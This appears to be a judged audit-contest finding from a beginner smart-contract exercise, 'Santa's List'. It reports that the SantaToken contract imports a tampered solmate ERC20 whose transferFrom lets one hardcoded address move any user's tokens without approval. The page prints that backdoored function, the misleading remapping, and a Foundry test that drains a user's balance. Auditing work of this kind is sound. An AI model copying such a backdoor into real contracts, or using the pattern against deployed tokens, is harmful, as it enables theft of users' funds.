First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Malicious Library Usage leads to SantaToken Loss of all users

Mj0ln1r

Summary

SantaToken contract uses a malicious ERC20 token contract from a malicious library. transferFrom() function has the malicious code which allows a particular address to transfer any users tokens to anyone.

Vulnerability Details

SantaToken Contract inherited a malicious ERC20 contract in which the transferFrom() function allows a user (0x815F577F1c1bcE213c012f166744937C889DAF17) to transfer anyone's tokens to any address they wish.

import {ERC20} from "@solmate/src/tokens/ERC20.sol";

Malicious transferFrom function

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// hehehe :)
// https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
​
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
​
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
​
balanceOf[from] -= amount;
​
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
​
emit Transfer(from, to, amount);
​
return true;
}

Remappings of the library misleads the developer to think the library is a secure solmate library.

remappings = [
'@openzeppelin/contracts=lib/openzeppelin-contracts/contracts',
- '@solmate=lib/solmate-bad',
]

Impact

  • This transferFrom function allows the attacker (mentioned in the transferFrom() function) to transfer the SantaTokens of any user to any other user.

  • Attacker can get all the tokens of the users.

Proof Of Code:

function testMaliciousTransferFrom() public{
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
santasList.collectPresent();
vm.stopPrank();
​
assertEq(santaToken.balanceOf(user), 1e18);
​
vm.startPrank(address(0x815F577F1c1bcE213c012f166744937C889DAF17));
santaToken.transferFrom(user, address(0x815F577F1c1bcE213c012f166744937C889DAF17), 1e18);
assertEq(santaToken.balanceOf(address(0x815F577F1c1bcE213c012f166744937C889DAF17)), 1e18);
assertEq(santaToken.balanceOf(user), 0);
vm.stopPrank();
}

Add this test to SantaListTest.t.sol and run forge test --mt testMaliciousTransferFrom to run the test.

Tools Used

Manual Review

Recommendations

Use trusted and secured libraries such as

  • OpenZeppelin - https://github.com/OpenZeppelin/openzeppelin-contracts/

  • Solmate - https://github.com/transmissions11/solmate

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.